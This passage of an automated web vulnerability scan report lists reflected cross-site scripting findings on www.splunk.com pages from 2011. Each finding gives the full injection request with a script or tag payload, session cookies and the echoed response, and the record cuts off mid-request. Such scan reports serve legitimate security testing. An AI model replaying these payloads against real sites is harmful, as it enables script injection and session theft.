4.418. http://www.splunk.com/page/ask_expert [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/ask_expert

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload e72c8--><script>alert(1)</script>60baae66c98 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page/ask_expert?e72c8--><script>alert(1)</script>60baae66c98=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:11:23 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: ed1b440906b133bac79d122949e306301296943884
Last-Modified: Sat, 05 Feb 2011 22:11:24 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 34133

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>60baae66c98=1 -->
...[SNIP]...

4.419. http://www.splunk.com/page/ask_expert/default/4396 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/ask_expert/default/4396

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 9a7f4--><script>alert(1)</script>95d8c031fc2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page9a7f4--><script>alert(1)</script>95d8c031fc2/ask_expert/default/4396 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942930878168; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=k9q26g5j81mb2osf77dbi672t5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:36:23 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 23:06:23 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 23:06:23 GMT; path=/
ETag: 5e8994be735b98634123acbbdb03890c1296945383
Last-Modified: Sat, 05 Feb 2011 22:36:23 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18383

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>95d8c031fc2/ask_expert/default/4396 -->
...[SNIP]...

4.420. http://www.splunk.com/page/ask_expert/default/4396 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/ask_expert/default/4396

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload fa7de--><script>alert(1)</script>5b63b041d74 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page/ask_expertfa7de--><script>alert(1)</script>5b63b041d74/default/4396 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942930878168; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=k9q26g5j81mb2osf77dbi672t5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:36:47 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18272

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>5b63b041d74/default/4396 -->
...[SNIP]...

4.421. http://www.splunk.com/page/ask_expert/default/4396 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/ask_expert/default/4396

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload b8a52--><script>alert(1)</script>3547d2d94f9 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page/ask_expert/defaultb8a52--><script>alert(1)</script>3547d2d94f9/4396 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942930878168; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=k9q26g5j81mb2osf77dbi672t5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:37:16 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: c34c1c0a5147c476eaa02f21848d44d31296945437
Last-Modified: Sat, 05 Feb 2011 22:37:17 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 34259

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>3547d2d94f9/4396 -->
...[SNIP]...

4.422. http://www.splunk.com/page/ask_expert/default/4396 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/ask_expert/default/4396

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f2d76"><script>alert(1)</script>3d5ddbca352 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /page/ask_expert/defaultf2d76"><script>alert(1)</script>3d5ddbca352/4396 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942930878168; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=k9q26g5j81mb2osf77dbi672t5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:36:58 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 9e97e825910a89ef2fe76db31616422a1296945418
Last-Modified: Sat, 05 Feb 2011 22:36:58 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 34257

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<form action="/page/ask_expert/defaultf2d76"><script>alert(1)</script>3d5ddbca352" id="expertForm" class="standardForm" method="POST" onsubmit="return checkAskExpertForm();">
...[SNIP]...

4.423. http://www.splunk.com/page/ask_expert/default/4396 [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/ask_expert/default/4396

Issue detail

The value of REST URL parameter 4 is copied into an HTML comment. The payload ff968--><script>alert(1)</script>739ba485257 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page/ask_expert/default/4396ff968--><script>alert(1)</script>739ba485257 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942930878168; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=k9q26g5j81mb2osf77dbi672t5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:38:04 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 34245

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>739ba485257 -->
...[SNIP]...

4.424. http://www.splunk.com/page/ask_expert/default/4396 [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.splunk.com
Path:	/page/ask_expert/default/4396

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 49dc8"><a>0cc82e0c8b7 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /page/ask_expert/default/439649dc8"><a>0cc82e0c8b7 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942930878168; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=k9q26g5j81mb2osf77dbi672t5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:37:29 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 34158

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<form action="/page/ask_expert/default/439649dc8"><a>0cc82e0c8b7" id="expertForm" class="standardForm" method="POST" onsubmit="return checkAskExpertForm();">
...[SNIP]...

4.425. http://www.splunk.com/page/ask_expert/default/4396 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/ask_expert/default/4396

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 8eb41--><script>alert(1)</script>93274ebcacf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page/ask_expert/default/4396?8eb41--><script>alert(1)</script>93274ebcacf=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942930878168; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=k9q26g5j81mb2osf77dbi672t5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:35:39 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 34203

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>93274ebcacf=1 -->
...[SNIP]...

4.426. http://www.splunk.com/page/ask_expert/default/4396 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.splunk.com
Path:	/page/ask_expert/default/4396

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f7b7e"><a>df87e49d911 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /page/ask_expert/default/4396?f7b7e"><a>df87e49d911=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942930878168; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=k9q26g5j81mb2osf77dbi672t5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:35:09 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 34143

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<form action="/page/ask_expert/default/4396?f7b7e"><a>df87e49d911=1" id="expertForm" class="standardForm" method="POST" onsubmit="return checkAskExpertForm();">
...[SNIP]...

4.427. http://www.splunk.com/page/company_news [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/company_news

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 383a8--><script>alert(1)</script>74d4e36369d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page383a8--><script>alert(1)</script>74d4e36369d/company_news HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; 